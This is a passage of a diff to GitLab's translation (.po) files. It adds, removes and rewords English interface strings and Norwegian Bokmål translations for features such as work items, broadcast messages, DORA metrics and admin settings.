-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/nb_NO/gitlab.po b/locale/nb_NO/gitlab.po
index 66aa03eb0c3..36417d14a0b 100644
--- a/locale/nb_NO/gitlab.po
+++ b/locale/nb_NO/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: nb\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:43\n"
+"PO-Revision-Date: 2023-01-10 06:48\n"
msgid " %{start} to %{end}"
msgstr " %{start} til %{end}"
@@ -215,8 +215,8 @@ msgstr[1] "%d commit-forfattere"
msgid "%d commit behind"
msgid_plural "%d commits behind"
-msgstr[0] "%d commit bak"
-msgstr[1] "%d commits bak"
+msgstr[0] ""
+msgstr[1] ""
msgid "%d commit,"
msgid_plural "%d commits,"
@@ -750,6 +750,9 @@ msgstr "%{italic_start}Hva er nytt%{italic_end} er inaktiv og kan ikke vises."
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr "%{itemsCount} saker med en grense på %{maxIssueCount}"
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr "%{labelStart}Faktisk svar:%{labelEnd} %{headers}"
@@ -822,6 +825,9 @@ msgstr "%{level_name} er ikke tillatt i en %{group_level_name}-gruppe."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} er ikke tillatt siden utgreiningskildeprosjektet har lavere synlighet."
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr "%{link_start}Fjern %{draft_snippet} prefiksen%{link_end} fra tittelen for å tillate at denne fletteforespørselen blir innflettet når den er klar."
@@ -953,6 +959,12 @@ msgstr "%{project_path} er et prosjekt som du kan bruke til å legge til en READ
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} kan ikke bli lagt til: %{error}"
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] "%{releases} utgivelse"
@@ -970,6 +982,11 @@ msgstr "%{reportType} oppdaget %{totalStart}%{total}%{totalEnd} potensial %{vuln
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr "%{retryButtonStart}Prøv igjen%{retryButtonEnd} eller %{newFileButtonStart}legg ved en ny fil%{newFileButtonEnd}."
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr "%{size} %{unit}"
-
msgid "%{size} GiB"
msgstr "%{size} GiB"
@@ -1116,11 +1130,6 @@ msgstr "%{template_project_id} er ukjent eller ugyldig"
msgid "%{text} is available"
msgstr "%{text} er tilgjengelig"
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr "%{timebox_type} støtter ikke utbrenningskart"
@@ -1541,9 +1550,9 @@ msgstr[0] "1 rolle"
msgstr[1] "%d roller"
msgid "1 user"
-msgid_plural "%{num} users"
-msgstr[0] "1 bruker"
-msgstr[1] "%{num} brukere"
+msgid_plural "%d users"
+msgstr[0] ""
+msgstr[1] ""
msgid "1 week remaining"
msgid_plural "%d weeks remaining"
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr "En tittel er påkrevd"
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr "AWS-tjenestefeil: %{error}"
-
msgid "Abort"
msgstr "Avbryt"
@@ -1963,9 +1972,6 @@ msgstr "Tilgangskode"
msgid "Access denied for your LDAP account."
msgstr "Tilgang nektet for LDAP-kontoen din."
-msgid "Access denied: %{error}"
-msgstr "Tilgang nektet: %{error}"
-
msgid "Access expires"
msgstr "Tilgangen utløper"
@@ -2125,7 +2131,7 @@ msgstr "Handlinger"
msgid "Activate Service Desk"
msgstr "Skru på tjenestedesken"
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr "Legg til en sammenklappbar seksjon"
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr "Legg til en kommentar til denne linjen"
@@ -2581,15 +2590,18 @@ msgstr "Aktive brukere"
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr "Fakturerbare brukere"
-
msgid "AdminArea|Blocked users"
msgstr "Blokkerte brukere"
msgid "AdminArea|Bots"
msgstr "Botter"
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr "Komponenter"
@@ -2671,9 +2683,18 @@ msgstr "Stopp jobber"
msgid "AdminArea|Stopping jobs failed"
msgstr "Stopp jobber som mislyktes"
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr "Totalt antall brukere"
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr "Vis nyeste grupper"
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "Feil under innlasting av statistikken. Vennligst prøv igjen"
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr "Auto DevOps-domene"
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr "Benytter setet"
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr "Personlige prosjekter vil bli forlatt"
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr "En feil oppstod under sjekking av gruppefilbanen. Vennligst oppdater og prøv igjen."
@@ -4408,15 +4447,6 @@ msgstr "Det oppstod en feil under innlasting av fletteforespørsler."
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr "En feil oppstod under innlasting av fletteforespørselsen."
msgid "An error occurred while loading the notification settings. Please try again."
msgstr "En feil oppstod under innlasting av varslingsinnstillingene. Vennligst prøv igjen."
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr "En feil oppstod under innhenting av rørledningsjobbene."
@@ -4704,6 +4731,18 @@ msgstr "Tilføy til kommentaren med %{shrug}"
msgid "Append the comment with %{tableflip}"
msgstr "Tilføy kommentaren med %{tableflip}"
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr "Program"
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr "Benytter forslag …"
msgid "Applying suggestions..."
msgstr "Benytter forslag …"
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr "Godkjenningsregler"
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr "Godkjenninger er valgfrie."
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr "Seksjon: %seksjon"
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr "Meldinger"
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr "Bla gjennom katalog"
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr "Kan ikke forfremme saken på grunn av manglende tillatelser."
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,15 +8069,12 @@ msgstr "Endre ditt passord"
msgid "Change your password or recover your current one"
msgstr "Endre passordet ditt eller gjenopprett ditt nåværende"
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
-msgid "ChangeReviewer|Unassigned"
-msgstr "Ikke tildelte"
-
msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
@@ -8220,6 +8355,9 @@ msgstr "Fortsett til betaling"
msgid "Checkout|Country"
msgstr "Land"
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr "Opprett en ny gruppe"
@@ -8379,12 +8517,6 @@ msgstr "Etterkommer"
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr "Tilstand"
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr "Type"
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr "Klikk på lenken nedenfor for å bekrefte E-postadressen din."
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr "Klikk for å utvide den."
@@ -8795,12 +8933,18 @@ msgstr "Lukkede saker"
msgid "Closed this %{quick_action_target}."
msgstr "Lukket denne %{quick_action_target}."
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr "Lukket: %{closed}"
msgid "Closes this %{quick_action_target}."
msgstr "Lukker denne %{quick_action_target}."
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr "Cloud Run"
@@ -9466,21 +9610,6 @@ msgstr "Miljøomfanget er påkrevd."
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr "Hver nye Google Cloud Platform (GCP)-konto mottar US$300 i kreditt ved %{sign_up_link}. I samarbeid med Google, kan GitLab tilby ytterligere US$200 for både nye og eksisterende GCP-kontoer for å komme i gang med GitLab sin Google Kubernetes Engine-integrering."
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "GitLab-integrering"
@@ -9969,6 +10098,9 @@ msgstr "Ingen relaterte fletteforespørsler ble funnet"
msgid "Committed by"
msgstr "Loggført av"
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr "Samfunnsforum"
@@ -10009,7 +10141,7 @@ msgid "Compare submodule commit revisions"
msgstr ""
msgid "Compare with previous version"
-msgstr "Sammenlign med forrige versjon"
+msgstr ""
msgid "CompareBranches|%{source_branch} and %{target_branch} are the same."
msgstr "%{source_branch} og %{target_branch} er de samme."
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr "Fortsett til neste trinn"
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr "Land"
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr "%{startDate} - %{endDate}"
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr "Antall distribusjoner"
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr "Alle"
msgid "DashboardProjects|Personal"
msgstr "Personlig"
-msgid "DashboardProjects|Trending"
-msgstr "Trendende"
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
